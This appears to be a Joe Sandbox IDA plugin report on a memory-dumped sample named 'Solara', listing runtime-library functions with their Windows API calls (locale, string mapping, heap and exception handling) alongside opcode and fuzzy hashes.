Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1d6e51d280c110422d0da44c9eaba3b0633650e7abf3b1a3bf9671bd0fbe55fe
Instruction ID: 54f692fc73730dfbe7d6705355e6e5b7e358e525ab97dd1978a0a18f70cc372f
Opcode Fuzzy Hash: 1d6e51d280c110422d0da44c9eaba3b0633650e7abf3b1a3bf9671bd0fbe55fe
Instruction Fuzzy Hash: FC21D8326202277BEB189E65EC81EBA33ACEF24710B10407AFD02C6141EB74DD70CB51

Function 002214D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

EnumSystemLocalesW.KERNEL32(00221580,00000001,00000000,?,-00000050,?,00221363,00000000,-00000002,00000000,?,00000055,?), ref: 0022154A

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 83f6f905f05eeb679597ccf57901a7100dc4c02cbc3474d851e1ddecb8080a38
Instruction ID: aec07648d9260463202b940cb3ce9521fd98fa4f3074e374642abfea58b03ccf
Opcode Fuzzy Hash: 83f6f905f05eeb679597ccf57901a7100dc4c02cbc3474d851e1ddecb8080a38
Instruction Fuzzy Hash: 81114C372103116FDB189F79D8919BAB791FF90758B54442CE94747B40E771B972CB80

Function 00221960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002219B4

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1e446af08252e2cc73060f762780cea73a4b15c8a96955414b9836aaead7ee24
Instruction ID: cf60f4d7af5c7951d57eb57e8ff43eec71eccd3ec728020c45fa3911c00966c8
Opcode Fuzzy Hash: 1e446af08252e2cc73060f762780cea73a4b15c8a96955414b9836aaead7ee24
Instruction Fuzzy Hash: AA11E332660226BBDB14AF68EC56DAB73ECEF14710B10417AE502C7141EB74ED60CB90

Function 00221B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0022179C,00000000,00000000,?), ref: 00221B39

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1c1a86448a001b680aca79735fd572c51e433b611b4902db779b76f32b7fd6a6
Instruction ID: 135efd61d4bb280393d951bc90025bc6fa5fffdf34479a6a2acd1de833beb014
Opcode Fuzzy Hash: 1c1a86448a001b680aca79735fd572c51e433b611b4902db779b76f32b7fd6a6
Instruction Fuzzy Hash: 9501DB376201237BDB285BA59C09EFA7778DF50758F154429ED06A7180FA70ED72C690

Function 002217D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

EnumSystemLocalesW.KERNEL32(00221840,00000001,?,?,-00000050,?,0022132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0022181D

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 718f09be543d3ad3ba4915c1b69d6a63b30399d7af3ed2d6d649d4291e10b2ae
Instruction ID: f3e2b5078ccc8f60c54dc9ca671fc87f6dcb5e5e817a874331b241c1355f7af6
Opcode Fuzzy Hash: 718f09be543d3ad3ba4915c1b69d6a63b30399d7af3ed2d6d649d4291e10b2ae
Instruction Fuzzy Hash: 7FF022362103142FDB245FB9E885E6A7B90EB80768B04842DF9054B690D6B19C62CA50

Function 0021D1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002180E1: EnterCriticalSection.KERNEL32(?,?,0021C5F8,?,00239290,00000008,0021C4EA,?,?,?), ref: 002180F0

EnumSystemLocalesW.KERNEL32(0021D1B0,00000001,00239310,0000000C,0021CB11,-00000050), ref: 0021D1F5

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3b520f6433b3f8fa6405b2105fdb0b46469bfdb29309621b7a13a8657f3c4175
Instruction ID: 8d28fb3fe5b51fb119fb1c0923c67a33ff76f5f1dff0b0e52e28bb52c8b01584
Opcode Fuzzy Hash: 3b520f6433b3f8fa6405b2105fdb0b46469bfdb29309621b7a13a8657f3c4175
Instruction Fuzzy Hash: 7BF03772A20304EFDB10EFA8E846B9977F0EB19721F10806AF4109B2A1CB754990CF40

Function 00221915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

EnumSystemLocalesW.KERNEL32(00221960,00000001,?,?,?,00221385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0022194C

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1c35a8b7458db28b8337b1c3b019da8e53d60395be5ec1620f963fc0dab0030a
Instruction ID: c05203ddbd50c5989c97e108acd55ebae1fda50f530d6b802808d33de1ae64ce
Opcode Fuzzy Hash: 1c35a8b7458db28b8337b1c3b019da8e53d60395be5ec1620f963fc0dab0030a
Instruction Fuzzy Hash: 91F05C3A30021577CB04AF75EC69A667FA4EFC1B10F0A4058EA098B140C6719892C790

Function 0021CC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00216E33,?,20001004,00000000,00000002,?,?,00215D3D), ref: 0021CC49

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 261173de11db6891ba19e67159bc535c8686b7a3a9d2ccdbc5e1da9cb86f8e06
Instruction ID: b7a4d4f6e3df43f496a52f00113f168f6a42d7a68d7fbdf0a6dc390484f650e1
Opcode Fuzzy Hash: 261173de11db6891ba19e67159bc535c8686b7a3a9d2ccdbc5e1da9cb86f8e06
Instruction Fuzzy Hash: 30E09A3505022CBBCB122F20ED08ADE3E5AEB14710F108022F804221208B318D71AAE0

Function 0020F8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 0020F8E2

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 81dc85f5d16e3540a74ec4ced993797d754f98f4c67c493e6d892f242f3de0b1
Instruction ID: 4a12f980cbef1c43dcea0062eb474bf0a2584717c03ecabaac122d3d86eba06e
Opcode Fuzzy Hash: 81dc85f5d16e3540a74ec4ced993797d754f98f4c67c493e6d892f242f3de0b1
Instruction Fuzzy Hash:

Function 0021D8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0021D8E0

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 08dd5a83c544bd6c1eced178913c124af8ea33a3b0ce1cfdcddbd9b67637e5e4
Instruction ID: fc9f08b9518e83b29a108df3b21efbc8cef9a3b98e1a1ab67ea3bba3b7eba13b
Opcode Fuzzy Hash: 08dd5a83c544bd6c1eced178913c124af8ea33a3b0ce1cfdcddbd9b67637e5e4
Instruction Fuzzy Hash: 84A011302002028FC3008F32BA0C2083AECAA00AC0300C02AA800CA020EA308000AF00

Function 0022AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,0022AACD,?,?,?,?,?,?,?,?,?), ref: 0022AB88
__alloca_probe_16.LIBCMT ref: 0022AC43
__alloca_probe_16.LIBCMT ref: 0022ACD2
__freea.LIBCMT ref: 0022AD1D
__freea.LIBCMT ref: 0022AD23
__freea.LIBCMT ref: 0022AD59
__freea.LIBCMT ref: 0022AD5F
__freea.LIBCMT ref: 0022AD6F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: d46ea88ba2381b5599d096642b70a69e44bc4cd434c44688d288479a2ba834c9
Instruction ID: 3f935af11bf4ce49837cc047e1577b5af0a57c058ab7c46c27e863c80d105e4e
Opcode Fuzzy Hash: d46ea88ba2381b5599d096642b70a69e44bc4cd434c44688d288479a2ba834c9
Instruction Fuzzy Hash: 0F71F63292022A7BDF319EE4AC42BEE77BADF59710F140056E804A7992E7758C61CB52

Function 0020FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0020FE70
__alloca_probe_16.LIBCMT ref: 0020FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0020FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0020FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0020FF37
__alloca_probe_16.LIBCMT ref: 0020FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0020FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0020FFB9

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 80ddb3a95b770e44cf7496b57b52db33d12645f3daec6add571a5b7fbec8636f
Instruction ID: 3934f59a70484c1caab02ee096d72cbdd7348c5534277310c53225b6f7d10453
Opcode Fuzzy Hash: 80ddb3a95b770e44cf7496b57b52db33d12645f3daec6add571a5b7fbec8636f
Instruction Fuzzy Hash: 4F51AD7266031BABEB705F60CD49FAA7AA9EF41750F244435F910DA9D2DB70DC208B50

Function 0021EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0021EEFC

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 3a281bac7989c28f4deb643dff084ae60454cf7878b980c52566595a27b5f233
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: D0B16972A20356AFDF118F64CC41BEE7BE5EF29310F154165EC54AB282D274DDA2CBA0

Function 00210D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00210D77
___except_validate_context_record.LIBVCRUNTIME ref: 00210D7F
_ValidateLocalCookies.LIBCMT ref: 00210E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00210E33
_ValidateLocalCookies.LIBCMT ref: 00210E88

Strings

csm, xrefs: 00210E1D

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 95e4cd3d37b9bbc19a51fb34a29b67510b5a1f14404e4ccb6451256ca7d6e664
Instruction ID: da9a1e47c2c652f11023a92153f95c9a055712a59543726401bbe0a6fde1f9a0
Opcode Fuzzy Hash: 95e4cd3d37b9bbc19a51fb34a29b67510b5a1f14404e4ccb6451256ca7d6e664
Instruction Fuzzy Hash: 82410330A20219ABCF11DF69D884ADE7BF5EF15314F148455E9149B352CBB1AEE1CF90

Function 00203C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00203CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00203CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00203CE0
__Getctype.LIBCPMT ref: 00203D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00203DD8

Strings

e.#, xrefs: 00203D67

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.#
API String ID: 3087743877-406694023
Opcode ID: a4a7780c2e9e46844beb1c46196c48b4d0791c935508ccd2b96afb36dc80430d
Instruction ID: 9d9076c9775e17e55623fa08f11e663681790c27c41aa31ac6ece3f6abbbf367
Opcode Fuzzy Hash: a4a7780c2e9e46844beb1c46196c48b4d0791c935508ccd2b96afb36dc80430d
Instruction Fuzzy Hash: 7C4154B1E103198FCB14DF98E845BAEB7B9FF84720F148219D8156B392DB34AA11CF91

Function 00210080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00210086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00210094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 002100A5

Strings

kernel32.dll, xrefs: 00210081
GetTempPath2W, xrefs: 0021009A
GetSystemTimePreciseAsFileTime, xrefs: 0021008E

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 7542640ea8b84392878c26c0a2be84b13187db75d132a599834c88f7f7f7fb0f
Instruction ID: 76e01de0827f91b766ce5bccb534bc8c8d78a1dab27a5690efe076d6dd39ec90
Opcode Fuzzy Hash: 7542640ea8b84392878c26c0a2be84b13187db75d132a599834c88f7f7f7fb0f
Instruction Fuzzy Hash: 97D0C771661610BFC310AFF47C0D9893EBDFA0BB127019953F441E2360DF749A118B54

Function 00224F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
